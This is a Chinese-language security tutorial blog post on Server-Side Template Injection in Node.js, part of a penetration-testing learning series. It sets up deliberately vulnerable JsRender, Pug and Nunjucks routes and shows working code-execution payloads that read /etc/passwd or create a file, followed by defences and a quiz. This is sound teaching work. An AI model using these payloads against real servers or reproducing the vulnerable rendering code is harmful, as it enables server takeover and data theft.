iT邦幫忙

2024 iThome 鐵人賽

DAY 17
0
Security

資安這條路:系統化學習網站安全與網站滲透測試系列 第 17

資安這條路:Day 17: 探索 SSTI (伺服器端模板注入) 漏洞

  • 分享至 

  • xImage
  •  

前言

模板引擎被廣泛應用於動態生成 HTML 頁面。然而,如果模板引擎未能妥善處理使用者輸入,將會產生嚴重的安全風險,這就是所謂的 SSTI (Server-Side Template Injection,伺服器端模板注入)。攻擊者可以利用這類漏洞,透過注入惡意模板指令來控制伺服器端程式,進而造成資料洩漏或系統破壞。

本篇文章將介紹如何在 Node.js 環境中模擬三種常見模板引擎中的 SSTI 漏洞,並透過範例展示其攻擊效果,最後討論相應的防範措施。

什麼是 SSTI

SSTI (伺服器端模板注入) 是一種應用程式漏洞,當應用程式未妥善處理輸入,並將其直接嵌入到模板引擎中進行渲染時,攻擊者可以插入惡意的模板指令,進而執行未經授權的操作。

SSTI 攻擊的嚴重性在於,攻擊者可能取得系統資訊、執行任意程式碼,甚至取得伺服器控制權。

常見的模板引擎

  1. JsRender: 一個輕量的 JavaScript 模板引擎,常用於將動態資料渲染到 HTML 頁面。
  2. Pug: 一種流行的模板語言,以簡潔的語法聞名,能夠快速生成 HTML 頁面。
  3. Nunjucks: 一個功能強大的模板引擎,提供了靈活的模板處理能力,類似於 Jinja2。

除了 JsRender、Pug 和 Nunjucks,Node.js 還支援 EJS (Embedded JavaScript Templates)、Handlebars、Mustache、Dot.js (DoT) 等模板引擎,其中 Handlebars 也曾有過重大 SSTI 問題。

實作

實作背景

在這次的實作中,將透過三種常見的模板引擎:JsRenderPugNunjucks,來模擬伺服器端模板注入 (SSTI) 的風險。

本次程式碼連結

GitHub Commit

步驟 1:安裝模板引擎

package.json 中新增了以下三個模板引擎的依賴:

"jsrender": "^1.0.0",
"pug": "^3.0.2",
"nunjucks": "^3.2.3"

這些模板引擎將用來處理使用者提交的模板,並渲染出結果。

步驟 2:設定模板引擎測試頁面

我們為每個模板引擎都設定了對應的測試頁面,分別是:

  1. JsRender Demo (/ssti/JsRender-demo)
  2. PugJS Demo (/ssti/PugJS-demo)
  3. Nunjucks Demo (/ssti/Nunjucks-demo)

這些測試頁面允許使用者提交模板語法,並將其發送到伺服器進行渲染。

使用者可以查看不同模板引擎如何處理輸入並回傳結果。

範例 - JsRender 測試頁面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JsRender SSTI Demo</title>
</head>
<body>
    <h1>JsRender SSTI 測試</h1>
    
    <form method="POST" action="/ssti/JsRender-demo">
        <label for="payload">輸入範例 (如:{{:7*7}}):</label><br>
        <input type="text" id="payload" name="payload" placeholder="test">
        <button type="submit">提交</button>
    </form>
    
    <p>結果: </p>
</body>
</html>

這段 HTML 表單允許使用者輸入模板語法,並透過 POST 請求將其發送至伺服器的 /ssti/JsRender-demo 路由。嘗試輸入 {{:7*7}} 若有成功解析成 49 就有 SSTI 的風險。

範例 - PugJS 測試頁面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PugJS SSTI Demo</title>
</head>
<body>
    <h1>PugJS SSTI 測試</h1>
    
    <form method="POST" action="/ssti/PugJS-demo">
        <label for="template">輸入範例 (如:#{7*7}):</label><br>
        <input type="text" id="template" name="template" placeholder="#{7*7}">
        <button type="submit">提交</button>
    </form>
    
    <p>結果: </p>
</body>
</html>

這個表單專為 PugJS 設計,當使用者輸入如 #{7*7} 這樣的 Pug 語法進行測試,並將結果發送至 /ssti/PugJS-demo 路由。若結果為 49 可能也會有 SSTI 的風險。

範例 - Nunjucks 測試頁面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Nunjucks SSTI Demo</title>
</head>
<body>
    <h1>Nunjucks SSTI 測試</h1>
    
    <form method="POST" action="/ssti/Nunjucks-demo">
        <label for="template">輸入範例 (如:{{7*7}}):</label><br>
        <input type="text" id="template" name="template" placeholder="{{7*7}}">
        <button type="submit">提交</button>
    </form>
    
    <p>結果: </p>
</body>
</html>

這個表單針對 Nunjucks 模板引擎,使用者可以輸入如 {{7*7}} 的模板語法,並透過 /ssti/Nunjucks-demo 路由提交。

小節

這三個模板引擎測試頁面均設計為可以簡單輸入模板語法,並將其提交給伺服器進行處理,隨後回傳渲染結果。

這些範例展示了如何進行 SSTI (Server-Side Template Injection) 測試,幫助我們檢測模板引擎是否存在漏洞。

步驟 3:模板引擎的伺服器端處理

每個模板引擎都有自己的路由來處理使用者提交的模板,並將模板渲染結果回傳給使用者。在這些實作中,我們需要注意防範 SSTI(伺服器端模板注入)漏洞,因為未經過濾的使用者輸入可能導致攻擊者執行惡意程式碼。

以下是針對 JsRenderPugNunjucks 的伺服器端處理邏輯。

JsRender Demo 伺服器端處理

router.post('/jsRender-demo', (req, res) => {
    const userInput = req.body.payload;

    try {
        // 使用 JsRender 將使用者輸入的模板進行渲染
        const tmpl = jsrender.templates(userInput);
        const output = tmpl.render(); // 渲染模板
        res.send(`結果: ${output}`);
    } catch (error) {
        res.send(`錯誤: ${error.message}`);
    }
});

這段程式碼將使用者的模板輸入交給 JsRender 進行渲染。如果輸入包含合法模板語法,伺服器將成功渲染並回傳結果。

若遇到渲染錯誤(如模板語法錯誤或潛在的注入攻擊),則會取得異常並回傳錯誤訊息。

PugJS Demo 伺服器端處理

router.post('/PugJS-demo', (req, res) => {
    const userInput = req.body.template;

    try {
        // 使用 Pug 將使用者輸入的模板進行編譯並渲染
        const template = pug.compile(userInput); // 編譯 Pug 模板
        const output = template(); // 渲染模板
        res.send(`結果: ${output}`);
    } catch (error) {
        res.send(`錯誤: ${error.message}`);
    }
});

PugJS 的處理邏輯中,使用 pug.compile 方法將使用者提交的模板語法進行編譯,並透過渲染函數輸出結果。與 JsRender 相似,這段程式碼同樣會在模板語法出錯或潛在攻擊時回傳錯誤訊息。

Nunjucks Demo 伺服器端處理

router.post('/Nunjucks-demo', (req, res) => {
    const userInput = req.body.template;

    try {
        // 使用 Nunjucks 渲染使用者輸入的模板
        const output = nunjucks.renderString(userInput); // 直接渲染模板
        res.send(`結果: ${output}`);
    } catch (error) {
        res.send(`錯誤: ${error.message}`);
    }
});

Nunjucks 的例子中,伺服器端使用 nunjucks.renderString 直接渲染來自使用者的模板語法。

如果模板語法正確,會將渲染結果回傳給使用者;若有錯誤,則會取得並回傳錯誤訊息。

嘗試實作

接下來,我們將展示如何在三個不同的模板引擎中,透過合法的模板語法和惡意的注入進行測試,來探討 SSTI (Server-Side Template Injection) 漏洞的威脅。

測試 SSTI 模板是否有被渲染

  1. JsRender-demo
    使用 curl 發送請求
curl -X POST http://nodelab.feifei.tw/ssti/JsRender-demo -H "Content-Type: application/json" -d "{\"payload\":\"{{:7*7}}\"}"

image

預期的結果是:

結果: 49
  1. PugJS-demo
curl -X POST http://nodelab.feifei.tw/ssti/PugJS-demo -H "Content-Type: application/json" -d "{\"template\":\"#{7*7}\"}"

image

預期的結果是:

結果: <49></49>
  1. Nunjucks-demo
curl -X POST http://nodelab.feifei.tw/ssti/Nunjucks-demo -H "Content-Type: application/json" -d "{\"template\":\"{{7*7}}\"}"

image

結果: 49

以上三個都跟預期結果吻合,表示伺服器可能有 SSTI 風險,因為後端處理了使用者輸入,並回傳解析的結果。

進階惡意注入測試

JsRender 模板引擎攻擊測試

我們將進一步展示如何透過 JsRender 模板引擎進行指令注入攻擊。以下範例展示了攻擊者如何透過惡意模板指令來讀取伺服器中的 /etc/passwd 檔案(系統使用者列表),這是典型的惡意操作,目的是取得敏感資料。

測試 URL:
http://nodelab.feifei.tw/ssti/JsRender-demo

攻擊指令:

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

這段程式碼試圖在伺服器端執行 cat /etc/passwd,以讀取伺服器的使用者資訊檔案。

攻擊成功後的結果:

結果: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin node:x:1000:1000::/home/node:/bin/bash

成功的攻擊過程:
image

PugJS-demo 攻擊測試

在這次測試中,我們將演示如何通過 PugJS 模板引擎利用 SSTI (Server-Side Template Injection) 漏洞,執行惡意指令來建立一個檔案,從而在伺服器上證明攻擊成功。

測試 URL:
http://nodelab.feifei.tw/ssti/PugJS-demo

攻擊指令:

curl -X POST http://nodelab.feifei.tw/ssti/PugJS-demo -H "Content-Type: application/json" -d "{\"template\":\"#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('child_process').exec('touch /tmp/pwned.txt')}()}\"}"

這段惡意的 PugJS 模板語法利用了伺服器的 child_process 模組來執行指令。具體來說,它建立了一個名為 pwned.txt 的檔案,證明攻擊者已經能夠在伺服器端執行指令。

  • global.process.mainModule.constructor._load:這一語句試圖動態載入 child_process 模組,用於在伺服器上執行指令。
  • exec('touch /tmp/pwned.txt'):這個指令在 /tmp 資料夾下建立了一個名為 pwned.txt 的檔案。

發送請求後,攻擊成功,PugJS 模板引擎在伺服器上執行了我們的指令。接下來,我們進入 Docker 容器檢查是否成功建立了檔案。

  • 當進入 Docker 容器並導航到 /tmp 資料夾後,可以看到 pwned.txt 檔案已經被建立:
root@localhost:~/nodejs_lab# docker exec -it nodejs_lab_app_1 /bin/bash
root@09feb60865bd:/usr/src/app# cd /tmp
root@09feb60865bd:/tmp# ls -al
total 12
drwxrwxrwt 1 root root 4096 Oct  1 15:15 .
drwxr-xr-x 1 root root 4096 Oct  1 14:05 ..
-rw-r--r-- 1 root root    0 Oct  1 15:15 pwned.txt
drwxr-xr-x 3 root root 4096 Apr 12  2023 v8-compile-cache-0

如上所示,pwned.txt 檔案已經成功建立,這證明了我們的攻擊有效。這也顯示了 PugJS 模板引擎中未經過濾的使用者輸入如何被利用來執行惡意指令。

成功的攻擊過程:
image

Nunjucks 模板引擎攻擊測試

針對 Nunjucks 模板引擎,我們可以進行類似的攻擊。以下範例展示如何透過模板注入指令,讀取伺服器 /etc/passwd 檔案的最後幾行。

測試 URL:
http://nodelab.feifei.tw/ssti/Nunjucks-demo

攻擊指令:

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

這段程式碼使用 tail 指令讀取 /etc/passwd 檔案的結尾部分。

成功攻擊的結果:

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin node:x:1000:1000::/home/node:/bin/bash

成功的攻擊過程:
image

分析與安全建議

這些範例展示了 SSTI (Server-Side Template Injection) 的危險性,尤其是在 JsRenderNunjucks 這樣的模板引擎中,攻擊者可以利用模板注入來執行惡意系統指令,從而存取敏感資料甚至完全控制伺服器。

為了防止這類攻擊,我們必須採取以下防禦措施:

  1. 輸入驗證與過濾:嚴格檢查使用者輸入,禁止任何不安全的字符或指令。
  2. 自動轉義:開啟模板引擎的自動轉義功能,防止惡意程式碼被執行。例如,在 Nunjucks 中可以設定 autoescapetrue
  3. 最小權限原則:確保應用程式和伺服器只擁有執行所需的最低權限,避免攻擊者取得過多控制權限。
  4. 使用沙箱環境:將模板渲染過程隔離在一個沙箱環境中,防止惡意指令對整個系統造成影響。

總結

這篇文章詳細介紹了如何利用 SSTI 漏洞進行攻擊,並展示了 JsRenderNunjucks 的模板注入範例。我們了解了這類攻擊的危害性,以及如何透過適當的安全措施來防範模板注入攻擊。在實際開發中,對使用者輸入進行嚴格的驗證和安全管理至關重要,以保護伺服器免受惡意攻擊。

小試身手

  1. 什麼是 SSTI?
    A) 一種伺服器端模板引擎
    B) 伺服器端的模板注入漏洞
    C) 一種跨站腳本攻擊
    D) 一個模板渲染工具

    答案:B
    解析:SSTI (Server-Side Template Injection) 是一種安全漏洞,當應用程式未對模板引擎的輸入進行適當處理時,攻擊者可以注入惡意的模板語法,使其在伺服器端執行不受信任的程式碼,進而控制伺服器或取得敏感資訊。

  2. 在以下哪種情況下容易發生 SSTI?
    A) 應用程式將使用者輸入直接傳遞給模板引擎
    B) 應用程式沒有接受外部輸入
    C) 模板引擎使用了自動轉義功能
    D) 所有輸入都經過過濾

    答案:A
    解析:當應用程式將使用者輸入直接傳遞給模板引擎進行渲染,而未對輸入進行適當的驗證或過濾時,會增加 SSTI 攻擊的風險。自動轉義和輸入過濾能有效降低該風險。

  3. 哪個選項能有效防範 SSTI?
    A) 禁止所有使用者輸入
    B) 使用模板引擎的自動轉義功能
    C) 完全避免使用模板引擎
    D) 在伺服器上執行模板渲染

    答案:B
    解析:模板引擎的自動轉義功能(如 Nunjucks 的 autoescape)可以有效防止惡意程式碼在模板渲染過程中被執行,從而避免 SSTI 攻擊。完全禁止使用者輸入並非實際可行的解決方案,而模板引擎仍是動態內容生成的常用工具。

  4. 哪個模板引擎容易受到 SSTI 攻擊?
    A) Nunjucks
    B) JsRender
    C) Pug
    D) 以上皆是

    答案:D
    解析:所有模板引擎,如果未正確處理輸入,均可能成為 SSTI 攻擊的目標。這些模板引擎會根據使用者的輸入進行動態渲染,當輸入未經過濾,可能導致惡意程式碼被執行。

  5. 如何防止模板注入攻擊?
    A) 僅允許靜態 HTML 模板
    B) 採用最小權限原則,限制模板渲染權限
    C) 在每個渲染之前對輸入進行過濾
    D) 以上皆是

    答案:D
    解析:防止模板注入攻擊的最佳策略是多重防護。應用程式應該嚴格限制使用者輸入,並進行輸入過濾和驗證。同時,應用最小權限原則,限制模板引擎執行的權限,並根據需求限制功能範圍。

SSTI 實作清單

  1. 安裝模板引擎
    • package.json 中安裝 jsrenderpugnunjucks
  2. 設定測試頁面
    • 建立測試頁面:
      • JsRender: /ssti/JsRender-demo
      • PugJS: /ssti/PugJS-demo
      • Nunjucks: /ssti/Nunjucks-demo
  3. 伺服器端處理
    • 建立對應的 POST 路由來接收模板輸入並進行渲染。
  4. 輸入測試
    • 使用 curl 發送模板語法:
      • JsRender: {{:7*7}}
      • PugJS: #{7*7}
      • Nunjucks: {{7*7}}
  5. 惡意注入測試
    • 嘗試注入惡意指令,檢測漏洞:
      • JsRender: 讀取 /etc/passwd
      • PugJS: 建立 /tmp/pwned.txt
      • Nunjucks: 讀取 /etc/passwd 結尾
  6. 檢查伺服器狀態
    • 驗證是否成功執行惡意操作(如建立檔案或讀取敏感資訊)。
  7. 修正漏洞
    • 實施輸入驗證、過濾與自動轉義以防止 SSTI 攻擊。

上一篇
資安這條路:Day 16 建立壓縮檔案功能,了解 Command Injection 的威脅
下一篇
資安這條路:Day 18 Node.js 中 Command injection 誤用 vm 模組沙箱逃脫和 require:函數的資安風險
系列文
資安這條路:系統化學習網站安全與網站滲透測試30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言